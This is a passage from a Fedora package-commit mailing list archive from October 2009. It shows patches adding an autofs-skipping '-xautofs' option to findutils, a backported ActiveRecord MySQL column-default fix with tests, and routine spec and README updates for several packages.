   boolean stay_on_filesystem;
   
+  /* If true, don't descend directories on autofs filesystems. */
+  boolean bypass_autofs;
+  
   /* If true, we ignore the problem where we find that a directory entry 
    * no longer exists by the time we get around to processing it.
    */
diff -rup findutils-4.4.2.orig/find/find.1 findutils-4.4.2/find/find.1
--- findutils-4.4.2.orig/find/find.1	2009-10-20 14:31:43.903741308 +0200
+++ findutils-4.4.2/find/find.1	2009-10-20 14:30:55.680906690 +0200
@@ -451,6 +451,9 @@ if standard input is a tty, and to 
 .B \-nowarn
 otherwise.
 
+.IP \-xautofs
+Don't descend directories on autofs filesystems.
+
 .IP \-xdev
 Don't descend directories on other filesystems.
 
diff -rup findutils-4.4.2.orig/find/ftsfind.c findutils-4.4.2/find/ftsfind.c
--- findutils-4.4.2.orig/find/ftsfind.c	2009-05-16 17:17:01.000000000 +0200
+++ findutils-4.4.2/find/ftsfind.c	2009-10-20 14:31:04.745866565 +0200
@@ -525,6 +525,12 @@ consider_visiting(FTS *p, FTSENT *ent)
 	}
     }
 
+  if (options.bypass_autofs &&
+      0 == strcmp ("autofs", filesystem_type (&statbuf, ent->fts_name)))
+    {
+      fts_set(p, ent, FTS_SKIP); /* descend no further */
+    }
+
   if ( (ent->fts_info == FTS_D) && !options.do_dir_first )
     {
       /* this is the preorder visit, but user said -depth */ 
diff -rup findutils-4.4.2.orig/find/parser.c findutils-4.4.2/find/parser.c
--- findutils-4.4.2.orig/find/parser.c	2009-10-20 14:31:43.906741469 +0200
+++ findutils-4.4.2/find/parser.c	2009-10-20 14:30:55.683024396 +0200
@@ -154,6 +154,7 @@ static boolean parse_user          PARAM
 static boolean parse_version       PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
 static boolean parse_wholename     PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
 static boolean parse_xdev          PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
+static boolean parse_xautofs       PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
 static boolean parse_ignore_race   PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
 static boolean parse_noignore_race PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
 static boolean parse_warn          PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
@@ -330,6 +331,7 @@ static struct parser_table const parse_t
   PARSE_TEST_NP    ("wholename",             wholename), /* GNU, replaced -path, but anyway -path will soon be in POSIX */
   {ARG_TEST,       "writable",               parse_accesscheck, pred_writable}, /* GNU, 4.3.0+ */
   PARSE_OPTION     ("xdev",                  xdev), /* POSIX */
+  PARSE_OPTION     ("xautofs",               xautofs),
   PARSE_TEST       ("xtype",                 xtype),	     /* GNU */
 #ifdef UNIMPLEMENTED_UNIX
   /* It's pretty ugly for find to know about archive formats.
@@ -2696,6 +2698,16 @@ parse_xdev (const struct parser_table* e
 }
 
 static boolean
+parse_xautofs (const struct parser_table* entry, char **argv, int *arg_ptr)
+{
+  (void) argv;
+  (void) arg_ptr;
+  (void) entry;
+  options.bypass_autofs = true;
+  return true;
+}
+
+static boolean
 parse_ignore_race (const struct parser_table* entry, char **argv, int *arg_ptr)
 {
   options.ignore_readdir_race = true;
diff -rup findutils-4.4.2.orig/find/util.c findutils-4.4.2/find/util.c
--- findutils-4.4.2.orig/find/util.c	2009-05-16 17:17:01.000000000 +0200
+++ findutils-4.4.2/find/util.c	2009-10-20 14:30:55.684180119 +0200
@@ -933,6 +933,7 @@ set_option_defaults(struct options *p)
 
   p->full_days = false;
   p->stay_on_filesystem = false;
+  p->bypass_autofs = false;
   p->ignore_readdir_race = false;
 
   if (p->posixly_correct)

findutils-4.4.0-no-locate.patch:
 Makefile.am |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: findutils-4.4.0-no-locate.patch
===================================================================
RCS file: /cvs/extras/rpms/findutils/devel/findutils-4.4.0-no-locate.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- findutils-4.4.0-no-locate.patch	1 Jul 2009 12:03:32 -0000	1.2
+++ findutils-4.4.0-no-locate.patch	20 Oct 2009 12:38:53 -0000	1.3
@@ -10,15 +10,3 @@ diff -up findutils-4.4.2/Makefile.am_old
  
  ACLOCAL_AMFLAGS = -I gnulib/m4 -I m4
  
-diff -up findutils-4.4.2/Makefile.in_old findutils-4.4.2/Makefile.in
---- findutils-4.4.2/Makefile.in_old	2009-06-30 14:54:00.000000000 +0200
-+++ findutils-4.4.2/Makefile.in	2009-06-30 14:54:35.000000000 +0200
-@@ -607,7 +607,7 @@ EXTRA_DIST = COPYING ChangeLog TODO conf
- DISTCLEANFILES = tool-versions.txt
- 
- # "tests" is the gnulib unit test dir.
--SUBDIRS = gnulib tests build-aux lib find xargs locate doc po m4 
-+SUBDIRS = gnulib tests build-aux lib find xargs doc po m4 
- ACLOCAL_AMFLAGS = -I gnulib/m4 -I m4
- TESTFILE_SUFFIXES = .exp .xo .xe .xi
- all: config.h


Index: findutils.spec
===================================================================
RCS file: /cvs/extras/rpms/findutils/devel/findutils.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- findutils.spec	14 Sep 2009 13:52:37 -0000	1.64
+++ findutils.spec	20 Oct 2009 12:38:53 -0000	1.65
@@ -1,7 +1,7 @@
 Summary: The GNU versions of find utilities (find and xargs)
 Name: findutils
 Version: 4.4.2
-Release: 3%{?dist}
+Release: 4%{?dist}
 Epoch: 1
 License: GPLv3+
 Group: Applications/File
@@ -10,6 +10,8 @@ Source0: ftp://ftp.gnu.org/gnu/findutils
 Source1: ftp://ftp.gnu.org/gnu/findutils/%{name}-%{version}.tar.gz.sig
 Patch1: findutils-4.4.0-no-locate.patch
 Patch2: findutils-4.4.0-selinux.patch
+Patch3: findutils-4.4.2-autofs.patch
+Patch4: findutils-4.4.2-xautofs.patch
 Requires(post): /sbin/install-info
 Requires(preun): /sbin/install-info
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -30,8 +32,10 @@ useful for finding things on your system
 
 %prep
 %setup -q
-%patch1 -p1 -b .no-locate
-%patch2 -p1 -b .selinux
+%patch1 -p1
+%patch2 -p1
+%patch3 -p1
+%patch4 -p1
 
 autoreconf
 
@@ -40,7 +44,7 @@ autoreconf
 %configure
 %undefine optflags
 
-make
+make %{?_smp_mflags}
 
 %check
 make check
@@ -89,6 +93,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_infodir}/find-maint.info.gz
 
 %changelog
+* Tue Oct 20 2009 Kamil Dudka <kdudka at redhat.com> - 1:4.4.2-4
+- make it possible to recognize an autofs filesystem by find
+- add a new find's option -xautofs to not descend directories on autofs
+  filesystems
+
 * Mon Sep 14 2009 Kamil Dudka <kdudka at redhat.com> - 1:4.4.2-3
 - do process install-info only without --excludedocs(#515914)
 



From kanarip at fedoraproject.org  Tue Oct 20 12:49:13 2009
From: kanarip at fedoraproject.org (Jeroen van Meeuwen)
Date: Tue, 20 Oct 2009 12:49:13 +0000 (UTC)
Subject: rpms/rubygem-activerecord/F-11
	rubygem-activerecord-2.3.2-fix-mysql-binary-default.patch, NONE,
	1.1 import.log, 1.3, 1.4 rubygem-activerecord.spec, 1.13, 1.14
Message-ID: <20091020124913.A60E311C0081@cvs1.fedora.phx.redhat.com>

Author: kanarip

Update of /cvs/pkgs/rpms/rubygem-activerecord/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1225/F-11

Modified Files:
	import.log rubygem-activerecord.spec 
Added Files:
	rubygem-activerecord-2.3.2-fix-mysql-binary-default.patch 
Log Message:
2.3.2-3

rubygem-activerecord-2.3.2-fix-mysql-binary-default.patch:
 lib/active_record/connection_adapters/mysql_adapter.rb |    4 +-
 test/cases/column_definition_test.rb                   |   34 +++++++++++++++++
 2 files changed, 36 insertions(+), 2 deletions(-)

--- NEW FILE rubygem-activerecord-2.3.2-fix-mysql-binary-default.patch ---
commit 8a49af31581095a35b6dc8b20ed12c2f9fb80855
Author: Jatinder Singh <jatinder.saundh at gmail.com>
Date:   Sun Aug 9 20:43:56 2009 -0700

    AR should respect default values for MySQL BINARY and VARBINARY columns.
    
    [#1273 state:committed]
    
    Signed-off-by: Jeremy Kemper <jeremy at bitsweat.net>

diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
index 3c5e4f5..a568f65 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
@@ -75,7 +75,7 @@ module ActiveRecord
   module ConnectionAdapters
     class MysqlColumn < Column #:nodoc:
       def extract_default(default)
-        if type == :binary || type == :text
+        if sql_type =~ /blob/i || type == :text
           if default.blank?
             return null ? nil : ''
           else
@@ -89,7 +89,7 @@ module ActiveRecord
       end
 
       def has_default?
-        return false if type == :binary || type == :text #mysql forbids defaults on blob and text columns
+        return false if sql_type =~ /blob/i || type == :text #mysql forbids defaults on blob and text columns
         super
       end
 
diff --git a/activerecord/test/cases/column_definition_test.rb b/activerecord/test/cases/column_definition_test.rb
index 98abc8e..fc9a0ac 100644
--- a/activerecord/test/cases/column_definition_test.rb
+++ b/activerecord/test/cases/column_definition_test.rb
@@ -33,4 +33,38 @@ class ColumnDefinitionTest < ActiveRecord::TestCase
       column.limit, column.precision, column.scale, column.default, column.null)
     assert_equal %Q{title varchar(20) DEFAULT 'Hello' NOT NULL}, column_def.to_sql
   end
+
+  if current_adapter?(:MysqlAdapter)
+    def test_should_set_default_for_mysql_binary_data_types
+      binary_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", "a", "binary(1)")
+      assert_equal "a", binary_column.default
+
+      varbinary_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", "a", "varbinary(1)")
+      assert_equal "a", varbinary_column.default
+    end
+
+    def test_should_not_set_default_for_blob_and_text_data_types
+      assert_raise ArgumentError do
+        ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", "a", "blob")
+      end
+
+      assert_raise ArgumentError do
+        ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", "Hello", "text")
+      end
+
+      text_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", nil, "text")
+      assert_equal nil, text_column.default
+
+      not_null_text_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", nil, "text", false)
+      assert_equal "", not_null_text_column.default
+    end
+
+    def test_has_default_should_return_false_for_blog_and_test_data_types
+      blob_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", nil, "blob")
+      assert !blob_column.has_default?
+
+      text_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", nil, "text")
+      assert !text_column.has_default?
+    end
+  end
 end


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activerecord/F-11/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	26 Jul 2009 10:50:43 -0000	1.3
+++ import.log	20 Oct 2009 12:49:13 -0000	1.4
@@ -1,3 +1,4 @@
 rubygem-activerecord-2_2_2-1_fc10:HEAD:rubygem-activerecord-2.2.2-1.fc10.src.rpm:1227532664
 rubygem-activerecord-2_3_2-1_fc10:HEAD:rubygem-activerecord-2.3.2-1.fc10.src.rpm:1237202080
 rubygem-activerecord-2_3_3-1_fc11:F-11:rubygem-activerecord-2.3.3-1.fc11.src.rpm:1248605341
+rubygem-activerecord-2_3_2-3_fc12:F-11:rubygem-activerecord-2.3.2-3.fc12.src.rpm:1256042940


Index: rubygem-activerecord.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activerecord/F-11/rubygem-activerecord.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- rubygem-activerecord.spec	7 Oct 2009 22:30:25 -0000	1.13
+++ rubygem-activerecord.spec	20 Oct 2009 12:49:13 -0000	1.14
@@ -8,11 +8,14 @@ Summary: Implements the ActiveRecord pat
 Name: rubygem-%{gemname}
 Epoch: 1
 Version: 2.3.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
+
 Source0: http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
+Patch0: rubygem-activerecord-2.3.2-fix-mysql-binary-default.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: rubygems
 Requires: rubygem(activesupport) = %{version}
@@ -36,6 +39,10 @@ mkdir -p %{buildroot}%{gemdir}
 gem install --local --install-dir %{buildroot}%{gemdir} \
             --force --rdoc %{SOURCE0}
 
+pushd %{buildroot}%{geminstdir}
+patch -s -p2 --fuzz=0 < %{PATCH0}
+popd
+
 # Remove backup files
 find %{buildroot}/%{geminstdir} -type f -name "*~" -delete
 
@@ -72,6 +79,9 @@ rm -rf %{buildroot}
 %{gemdir}/specifications/%{gemname}-%{version}.gemspec
 
 %changelog
+* Tue Oct 20 2009 Jeroen van Meeuwen <j.van.meeuwen at ogd.nl> - 1:2.3.2-3
+- Backport fix for default values on MySQL Binary and VarBinary columns
+
 * Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.2-2
 - Bump epoch; rails is not updatable across versions (bz 520843)
 



From kdudka at fedoraproject.org  Tue Oct 20 12:51:28 2009
From: kdudka at fedoraproject.org (Kamil Dudka)
Date: Tue, 20 Oct 2009 12:51:28 +0000 (UTC)
Subject: rpms/findutils/F-12 findutils-4.4.2-autofs.patch, NONE,
	1.1 findutils-4.4.2-xautofs.patch, NONE,
	1.1 findutils-4.4.0-no-locate.patch, 1.2, 1.3 findutils.spec,
	1.64, 1.65
Message-ID: <20091020125128.BF8DC11C0081@cvs1.fedora.phx.redhat.com>

Author: kdudka

Update of /cvs/extras/rpms/findutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1595

Modified Files:
	findutils-4.4.0-no-locate.patch findutils.spec 
Added Files:
	findutils-4.4.2-autofs.patch findutils-4.4.2-xautofs.patch 
Log Message:
- make it possible to recognize an autofs filesystem by find
- add a new find's option -xautofs to not descend directories on autofs
  filesystems

findutils-4.4.2-autofs.patch:
 fstype.c |   69 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 69 insertions(+)

--- NEW FILE findutils-4.4.2-autofs.patch ---
diff -rup findutils-4.4.2.orig/find/fstype.c findutils-4.4.2/find/fstype.c
--- findutils-4.4.2.orig/find/fstype.c	2009-05-16 17:17:01.000000000 +0200
+++ findutils-4.4.2/find/fstype.c	2009-10-20 12:47:10.589871024 +0200
@@ -205,7 +205,72 @@ must_read_fs_list(bool need_fs_type)
   return entries;
 }
 
+/* Return the device number from MOUNT_OPTIONS, if possible.
+   Otherwise return (dev_t) -1. Taken from 'mountlist' module
+   from gnulib.  */
+static dev_t
+dev_from_mount_options (char const *mount_options)
+{
+  /* GNU/Linux allows file system implementations to define their own
+     meaning for "dev=" mount options, so don't trust the meaning
+     here.  */
+# ifndef __linux__
+
+  static char const dev_pattern[] = ",dev=";
+  char const *devopt = strstr (mount_options, dev_pattern);
+
+  if (devopt)
+    {
+      char const *optval = devopt + sizeof dev_pattern - 1;
+      char *optvalend;
+      unsigned long int dev;
+      errno = 0;
+      dev = strtoul (optval, &optvalend, 16);
+      if (optval != optvalend
+	  && (*optvalend == '\0' || *optvalend == ',')
+	  && ! (dev == ULONG_MAX && errno == ERANGE)
+	  && dev == (dev_t) dev)
+	return dev;
+    }
+
+# endif
+  (void) mount_options;
+  return -1;
+}
+
+/* Return true if the file described by STATP is on autofs file system
+   and call set_fstype_devno () if the autofs file system is matched.  */
+static bool
+filesystem_check_autofs (const struct stat *statp)
+{
+  FILE *fp;
+  struct mntent *mnt;
+  struct mount_entry entry;
+  bool match = false;
+
+  /* open /proc/mounts because autofs is not listed in /etc/mtab */
+  fp = setmntent ("/proc/mounts", "r");
+  if (fp == NULL)
+    return false;
 
+  while ((mnt = getmntent (fp)))
+    {
+      if (0 != strcmp ("autofs", mnt->mnt_type))
+	  continue;
+
+      entry.me_mountdir = mnt->mnt_dir;
+      entry.me_dev = dev_from_mount_options (mnt->mnt_opts);
+      set_fstype_devno (&entry);
+      if (entry.me_dev == statp->st_dev)
+	{
+	  match = true;
+	  break;
+	}
+    }
+
+  endmntent (fp);
+  return match;
+}
 
 /* Return a newly allocated string naming the type of file system that the
    file PATH, described by STATP, is on.
@@ -244,6 +309,10 @@ file_system_type_uncached (const struct 
     }
   free_file_system_list(entries);
 
+  /* check for autofs */
+  if (type == NULL && filesystem_check_autofs (statp))
+    type = xstrdup ("autofs");
+
   /* Don't cache unknown values. */
   fstype_known = (type != NULL);
   

findutils-4.4.2-xautofs.patch:
 doc/find.texi  |    4 ++++
 find/defs.h    |    3 +++
 find/find.1    |    3 +++
 find/ftsfind.c |    6 ++++++
 find/parser.c  |   12 ++++++++++++
 find/util.c    |    1 +
 6 files changed, 29 insertions(+)

--- NEW FILE findutils-4.4.2-xautofs.patch ---
diff -rup findutils-4.4.2.orig/doc/find.texi findutils-4.4.2/doc/find.texi
--- findutils-4.4.2.orig/doc/find.texi	2009-10-20 14:31:43.902741386 +0200
+++ findutils-4.4.2/doc/find.texi	2009-10-20 14:30:55.680178944 +0200
@@ -1420,6 +1420,10 @@ them.
 There are two ways to avoid searching certain filesystems.  One way is
 to tell @code{find} to only search one filesystem:
 
+ at deffn Option -xautofs
+Don't descend directories on autofs filesystems.
+ at end deffn
+
 @deffn Option -xdev
 @deffnx Option -mount
 Don't descend directories on other filesystems.  These options are
diff -rup findutils-4.4.2.orig/find/defs.h findutils-4.4.2/find/defs.h
--- findutils-4.4.2.orig/find/defs.h	2009-10-20 14:31:43.902741386 +0200
+++ findutils-4.4.2/find/defs.h	2009-10-20 14:30:55.680906690 +0200
@@ -559,6 +559,9 @@ struct options
   /* If true, don't cross filesystem boundaries. */
   boolean stay_on_filesystem;
   
+  /* If true, don't descend directories on autofs filesystems. */
+  boolean bypass_autofs;
+  
   /* If true, we ignore the problem where we find that a directory entry 
    * no longer exists by the time we get around to processing it.
    */
diff -rup findutils-4.4.2.orig/find/find.1 findutils-4.4.2/find/find.1
--- findutils-4.4.2.orig/find/find.1	2009-10-20 14:31:43.903741308 +0200
+++ findutils-4.4.2/find/find.1	2009-10-20 14:30:55.680906690 +0200
@@ -451,6 +451,9 @@ if standard input is a tty, and to 
 .B \-nowarn
 otherwise.
 
+.IP \-xautofs
+Don't descend directories on autofs filesystems.
+
 .IP \-xdev
 Don't descend directories on other filesystems.
 
diff -rup findutils-4.4.2.orig/find/ftsfind.c findutils-4.4.2/find/ftsfind.c
--- findutils-4.4.2.orig/find/ftsfind.c	2009-05-16 17:17:01.000000000 +0200
+++ findutils-4.4.2/find/ftsfind.c	2009-10-20 14:31:04.745866565 +0200
@@ -525,6 +525,12 @@ consider_visiting(FTS *p, FTSENT *ent)
 	}
     }
 
+  if (options.bypass_autofs &&
+      0 == strcmp ("autofs", filesystem_type (&statbuf, ent->fts_name)))
+    {
+      fts_set(p, ent, FTS_SKIP); /* descend no further */
+    }
+
   if ( (ent->fts_info == FTS_D) && !options.do_dir_first )
     {
       /* this is the preorder visit, but user said -depth */ 
diff -rup findutils-4.4.2.orig/find/parser.c findutils-4.4.2/find/parser.c
--- findutils-4.4.2.orig/find/parser.c	2009-10-20 14:31:43.906741469 +0200
+++ findutils-4.4.2/find/parser.c	2009-10-20 14:30:55.683024396 +0200
@@ -154,6 +154,7 @@ static boolean parse_user          PARAM
 static boolean parse_version       PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
 static boolean parse_wholename     PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
 static boolean parse_xdev          PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
+static boolean parse_xautofs       PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
 static boolean parse_ignore_race   PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
 static boolean parse_noignore_race PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
 static boolean parse_warn          PARAMS((const struct parser_table*, char *argv[], int *arg_ptr));
@@ -330,6 +331,7 @@ static struct parser_table const parse_t
   PARSE_TEST_NP    ("wholename",             wholename), /* GNU, replaced -path, but anyway -path will soon be in POSIX */
   {ARG_TEST,       "writable",               parse_accesscheck, pred_writable}, /* GNU, 4.3.0+ */
   PARSE_OPTION     ("xdev",                  xdev), /* POSIX */
+  PARSE_OPTION     ("xautofs",               xautofs),
   PARSE_TEST       ("xtype",                 xtype),	     /* GNU */
 #ifdef UNIMPLEMENTED_UNIX
   /* It's pretty ugly for find to know about archive formats.
@@ -2696,6 +2698,16 @@ parse_xdev (const struct parser_table* e
 }
 
 static boolean
+parse_xautofs (const struct parser_table* entry, char **argv, int *arg_ptr)
+{
+  (void) argv;
+  (void) arg_ptr;
+  (void) entry;
+  options.bypass_autofs = true;
+  return true;
+}
+
+static boolean
 parse_ignore_race (const struct parser_table* entry, char **argv, int *arg_ptr)
 {
   options.ignore_readdir_race = true;
diff -rup findutils-4.4.2.orig/find/util.c findutils-4.4.2/find/util.c
--- findutils-4.4.2.orig/find/util.c	2009-05-16 17:17:01.000000000 +0200
+++ findutils-4.4.2/find/util.c	2009-10-20 14:30:55.684180119 +0200
@@ -933,6 +933,7 @@ set_option_defaults(struct options *p)
 
   p->full_days = false;
   p->stay_on_filesystem = false;
+  p->bypass_autofs = false;
   p->ignore_readdir_race = false;
 
   if (p->posixly_correct)

findutils-4.4.0-no-locate.patch:
 Makefile.am |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: findutils-4.4.0-no-locate.patch
===================================================================
RCS file: /cvs/extras/rpms/findutils/F-12/findutils-4.4.0-no-locate.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- findutils-4.4.0-no-locate.patch	1 Jul 2009 12:03:32 -0000	1.2
+++ findutils-4.4.0-no-locate.patch	20 Oct 2009 12:51:28 -0000	1.3
@@ -10,15 +10,3 @@ diff -up findutils-4.4.2/Makefile.am_old
  
  ACLOCAL_AMFLAGS = -I gnulib/m4 -I m4
  
-diff -up findutils-4.4.2/Makefile.in_old findutils-4.4.2/Makefile.in
---- findutils-4.4.2/Makefile.in_old	2009-06-30 14:54:00.000000000 +0200
-+++ findutils-4.4.2/Makefile.in	2009-06-30 14:54:35.000000000 +0200
-@@ -607,7 +607,7 @@ EXTRA_DIST = COPYING ChangeLog TODO conf
- DISTCLEANFILES = tool-versions.txt
- 
- # "tests" is the gnulib unit test dir.
--SUBDIRS = gnulib tests build-aux lib find xargs locate doc po m4 
-+SUBDIRS = gnulib tests build-aux lib find xargs doc po m4 
- ACLOCAL_AMFLAGS = -I gnulib/m4 -I m4
- TESTFILE_SUFFIXES = .exp .xo .xe .xi
- all: config.h


Index: findutils.spec
===================================================================
RCS file: /cvs/extras/rpms/findutils/F-12/findutils.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- findutils.spec	14 Sep 2009 13:52:37 -0000	1.64
+++ findutils.spec	20 Oct 2009 12:51:28 -0000	1.65
@@ -1,7 +1,7 @@
 Summary: The GNU versions of find utilities (find and xargs)
 Name: findutils
 Version: 4.4.2
-Release: 3%{?dist}
+Release: 4%{?dist}
 Epoch: 1
 License: GPLv3+
 Group: Applications/File
@@ -10,6 +10,8 @@ Source0: ftp://ftp.gnu.org/gnu/findutils
 Source1: ftp://ftp.gnu.org/gnu/findutils/%{name}-%{version}.tar.gz.sig
 Patch1: findutils-4.4.0-no-locate.patch
 Patch2: findutils-4.4.0-selinux.patch
+Patch3: findutils-4.4.2-autofs.patch
+Patch4: findutils-4.4.2-xautofs.patch
 Requires(post): /sbin/install-info
 Requires(preun): /sbin/install-info
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -32,6 +34,8 @@ useful for finding things on your system
 %setup -q
 %patch1 -p1 -b .no-locate
 %patch2 -p1 -b .selinux
+%patch3 -p1 -b .autofs
+%patch4 -p1 -b .xautofs
 
 autoreconf
 
@@ -89,6 +93,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_infodir}/find-maint.info.gz
 
 %changelog
+* Tue Oct 20 2009 Kamil Dudka <kdudka at redhat.com> - 1:4.4.2-4
+- make it possible to recognize an autofs filesystem by find
+- add a new find's option -xautofs to not descend directories on autofs
+  filesystems
+
 * Mon Sep 14 2009 Kamil Dudka <kdudka at redhat.com> - 1:4.4.2-3
 - do process install-info only without --excludedocs(#515914)
 



From rdieter at fedoraproject.org  Tue Oct 20 12:57:05 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 12:57:05 +0000 (UTC)
Subject: rpms/virtuoso-opensource/devel .cvsignore, 1.3, 1.4 sources, 1.3,
	1.4 virtuoso-opensource.spec, 1.4, 1.5
Message-ID: <20091020125705.5D3EC11C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/virtuoso-opensource/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2333

Modified Files:
	.cvsignore sources virtuoso-opensource.spec 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 5.0.12-1
- virtuoso-opensource-5.0.12



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	11 Oct 2009 19:54:44 -0000	1.3
+++ .cvsignore	20 Oct 2009 12:57:05 -0000	1.4
@@ -1 +1 @@
-virtuoso-opensource-20090916.tar.gz
+virtuoso-opensource-5.0.12.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	11 Oct 2009 19:54:44 -0000	1.3
+++ sources	20 Oct 2009 12:57:05 -0000	1.4
@@ -1 +1 @@
-718ce53e6b19e25aab8db4a2564fb17a  virtuoso-opensource-20090916.tar.gz
+64949660e3f053ec43d00519a19751aa  virtuoso-opensource-5.0.12.tar.gz


Index: virtuoso-opensource.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/devel/virtuoso-opensource.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- virtuoso-opensource.spec	11 Oct 2009 19:54:44 -0000	1.4
+++ virtuoso-opensource.spec	20 Oct 2009 12:57:05 -0000	1.5
@@ -1,17 +1,15 @@
 
-%define snap 20090916
-
 Name:	 virtuoso-opensource
 Version: 5.0.12
-Release: 0.1.rc9.%{snap}%{?dist}
+Release: 1%{?dist}
 Summary: A high-performance object-relational SQL database
 
 Group:   Applications/Databases
 # see LICENSE for exception details
 License: GPLv2 with exceptions
 URL:	 http://virtuoso.sourceforge.net/
-#Source0: http://download.sourceforge.net/virtuoso/virtuoso-opensource-%{version}.tar.gz
-Source0: ftp://download.openlinksw.com/support/vos/virtuoso-opensource-%{snap}.tar.gz
+Source0: http://downloads.sourceforge.net/virtuoso/virtuoso-opensource-%{version}.tar.gz
+#Source0: ftp://download.openlinksw.com/support/vos/virtuoso-opensource-%{snap}.tar.gz
 Patch1:  virtuoso-opensource-5.0.11-openssl.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
@@ -147,6 +145,9 @@ rm -rf %{buildroot} 
 
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 5.0.12-1
+- virtuoso-opensource-5.0.12
+
 * Sun Oct 11 2009 Rex Dieter <rdieter at fedoraproject.rog> 5.0.12-0.1.rc9.20090916
 - virtuoso-opensource-20090916 (5.0.12-rc9)
 



From limb at fedoraproject.org  Tue Oct 20 13:10:13 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Tue, 20 Oct 2009 13:10:13 +0000 (UTC)
Subject: rpms/roundcubemail/EL-5 roundcubemail-README.fedora,1.1,1.2
Message-ID: <20091020131013.D647211C02A6@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/roundcubemail/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3832/EL-5

Modified Files:
	roundcubemail-README.fedora 
Log Message:
Minor update to README, not need for new builds.



Index: roundcubemail-README.fedora
===================================================================
RCS file: /cvs/pkgs/rpms/roundcubemail/EL-5/roundcubemail-README.fedora,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- roundcubemail-README.fedora	28 May 2007 17:29:37 -0000	1.1
+++ roundcubemail-README.fedora	20 Oct 2009 13:10:13 -0000	1.2
@@ -10,4 +10,15 @@ PDO extension, or if SQLite2 support for
 will re-enable SQLite support in Roundcubemail.
 
 Jon Ciesla
-05/11/2007
\ No newline at end of file
+05/11/2007
+
+Additional installation information:
+
+In your installation process, you'll need to modify db.inc.php and main.inc.php.  
+In Fedora, these are located in /etc/roundcubemail.  These will work in this location,
+and should not be moved.  They will not be modified at upgrade, so you may want to 
+check the .rpmnew files at that time so see if you need to migrate your settings to 
+the new file.
+
+Jon Ciesla
+10/20/2009



From limb at fedoraproject.org  Tue Oct 20 13:10:14 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Tue, 20 Oct 2009 13:10:14 +0000 (UTC)
Subject: rpms/roundcubemail/F-11 roundcubemail-README.fedora,1.1,1.2
Message-ID: <20091020131014.4E8B711C02A6@cvs1.fedora.phx.redhat.com>

Author: limb

